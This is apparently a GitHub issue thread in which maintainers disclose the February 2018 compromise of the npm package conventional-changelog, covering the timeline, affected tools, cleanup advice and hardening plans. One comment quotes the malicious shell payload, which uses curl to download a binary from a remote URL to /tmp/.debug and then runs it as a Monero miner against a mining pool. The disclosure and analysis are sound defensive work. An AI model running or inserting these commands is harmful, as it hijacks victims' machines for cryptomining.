Information about security issue

[tjenkinson]

It was mentioned that a hacked version of the project was published.

Please can you provide more information about this and what it did? E.g Was it self contained or did it install itself somewhere outside of node_modules?

#279 (comment)

Thanks

[hutson]

Locking this thread until a @conventional-changelog/conventional-changelog core team member can respond to the question.

[bcoe]

What happened

A core contributor to the conventional-changelog ecosystem had their npm credentials compromised.

Using these credentials, a malicious version of conventional-changelog (version 1.2.0) was published to npm; the malicous package was published with the following timestamp 2018-02-12T04:07:35.498Z (so the malicious package was available for ~1D 11H).

As soon as this issue was reported to us, we published patch versions of all conventional-changelog packages (just in case any other modules were compromised).

During this publication, it turned out that @bcoe didn't have publication permissions to one of the modules in the ecosystem resulting in a failed publication with Lerna -- this, ironically, broke Lerna which relies on the conventional-changelog suite of packages.

As soon as this publication error was observed, a new version of the offending library was published and it was validated that Lerna was again functioning appropriately.

Did this impact me?

If you installed Lerna, standard-version, commitizen, etc, on certain flavors of Linux servers in the past 24 hours, there's a chance that the following executable was installed:

/tmp/.debug

We advice killing this process and removing this executable. Nothing is in place to actively restart this executable, and your system should be safe as soon as these actions are taken.

Actions that will be taken

• we are working with npm, Inc/nsp to audit the core contributor's packages and are discussing future automated approaches that could have caught this variety of malicious publication. (CC: @evilpacket).
• we will add a release check-list document to the conventional-changelog mono-repo, with integration testing instructions, e.g., make sure Lerna is still functioning upon release. (CC: @stevemao).
• we will start a discussion with the folks at Lerna regarding how we could get npm's 2FA functionality to behave nicely with a mono-repo structure. (CC: @evocateur).

CC: @stevemao, @Tapppi, @kentcdodds, @jimthedev

update: it looks like commitizen was not using conventional-changelog directly, and was likely not effected.

[pavel]

The malicious code was to be executed when the exported conventionalChangelogfunction was called by a requiring package. The code was using require("child_process").spawn function to execute shell commands, which:

1. Downloaded a file (at the time of the report: Monero miner ELF 64-bit executable, statically linked, stripped, upx packed).
2. Executed the file (at the time of the report: executed the miner to connect to pool.minexmr.com:4444 via TCP).

---

The shell code that was executed by the package (converted to multi-line to display steps):

rm -rf /tmp/.debug
curl https://mnrlnt.blob.core.windows.net/mnr/Silence -o /tmp/.debug 2> /dev/null
chmod +x /tmp/.debug
/tmp/.debug -o stratum+tcp://pool.minexmr.com:4444 -u 4A9V5knGUM8PUdPSJbTox8b9mgTsfXByK49XKtEyqVayDxD6CFJe5dsexaM99x7MXFNTxZkYAr4YtcAXQMkNrFjnRPJGJFr.JL6_$(hostname -f | md5sum | cut -c1-8) -p x -t $(lscpu | grep 'CPU(s)'| grep -v ',' | awk '{print $2}' | head -n 1) 2> /dev/null &

Miner executable SHA256: 28d5f75e289d652061c754079b23ec372da2e8feb1066a3d57381163b614c06c

Virus total report for the miner file: https://www.virustotal.com/#/file/28d5f75e289d652061c754079b23ec372da2e8feb1066a3d57381163b614c06c/detection

[jimthedev]

@bcoe I am looking for the dependency path between conventional-changelog and commitizen. Is there a direct one or was the person whose credentials were used have push access to both?

[tjenkinson]

I see. Thanks for the update and fixing it so quickly. It would also be nice if Lerna could support the npm lockfile.

[Tapppi]

@bcoe thanks for the fast reaction and good followups. 💯

Also thanks pavel for the extra info. 🙂

[bcoe]

@jimthedev I apologize, it looks like commitizen was most likely not effected; as it didn't use conventional-changelog only cz-conventional-changelog.

[jimthedev]

Cheers. Either way thank for for the communication.

[sandangel]

I have install standard-version on a windows machine. Does it impact and how can I fix that?

[pavel]

@sandangel Windows machines should be fine. You can verify your %COMSPEC% just to be sure, if it has path to cmd.exe you're fine.

[pavel]

Just to clarify: the malicious code is not triggered via npm install, so just installing a package tree containing the malicious package does not execute the script.

Potentially, changelog related functionality of requiring packages is affected, but it depends on how affected requiring packages use conventional-changelog.

If you was affected by the malicious package I advise checking SHA256 of the executable prior to removing the file. The executable at the URL that the packaged script was using, may had been changed to serve a different file.

[evocateur]

@tjenkinson

It would also be nice if Lerna could support the npm lockfile.

In what way does Lerna not "support" package-lock.json or npm-shrinkwrap.json?

Your root dependencies (where lerna is installed) should always be locked, and has nothing to do whatsoever with Lerna's ability to operate.

[sgal]

@evocateur
I guess @tjenkinson is referring to lerna/lerna#938.

[tjenkinson]

@evocateur we use hoisting and last time I tried it didn't quite work properly. Maybe it's been fixed now?

[vladikoff]

cc @pdehaan

[knksmith57]

cc @fwhite-wsm

[knksmith57]

heads up I've submitted this to the Snyk Vulnerability DB

[kumar303]

As soon as this issue was reported to us, we published patch versions of all conventional-changelog packages (just in case any other modules were compromised).

I don't see any patches to conventional-changelog-lint -- was that intentional?

[kumar303]

Oh, I see that its in a different repo.

[pdehaan]

Submitted to https://nodesecurity.io/report /cc @evilpacket

[bcoe]

Going ahead and closing this issue, we have an ongoing conversation here about enabling 2FA.

[TimBeyer]

Will there be an official announcement regarding this issue from npm?
With almost 28k installs per day 1 1/2 days of exposure I'd think that there is a large amount of "infected" people out there that may still be unaware of this.

It would seem like good practice to announce this or even send an email to all your customers, even if it's not NPM's fault. It's not about blame, but about ensuring that everyone is safe.

[bcoe]

@TimBeyer I'll talk to my peers at npm about this ... I could imagine potentially having a section of our weekly newsletter that brings critical security vulnerabilities from modules in the ecosystem to people's attention.

[straub]

Did this receive an entry in https://www.npmjs.com/advisories? I've been unable to find anything and both https://www.npmjs.com/advisories?search=conventional-changelog and https://www.npmjs.com/advisories?search=conventional-changelog-preset-loader return no results.

[evilpacket]

@straub I'm no longer in close proximity to manage that data as of today but @andreeleuterio might be able to help. ✌️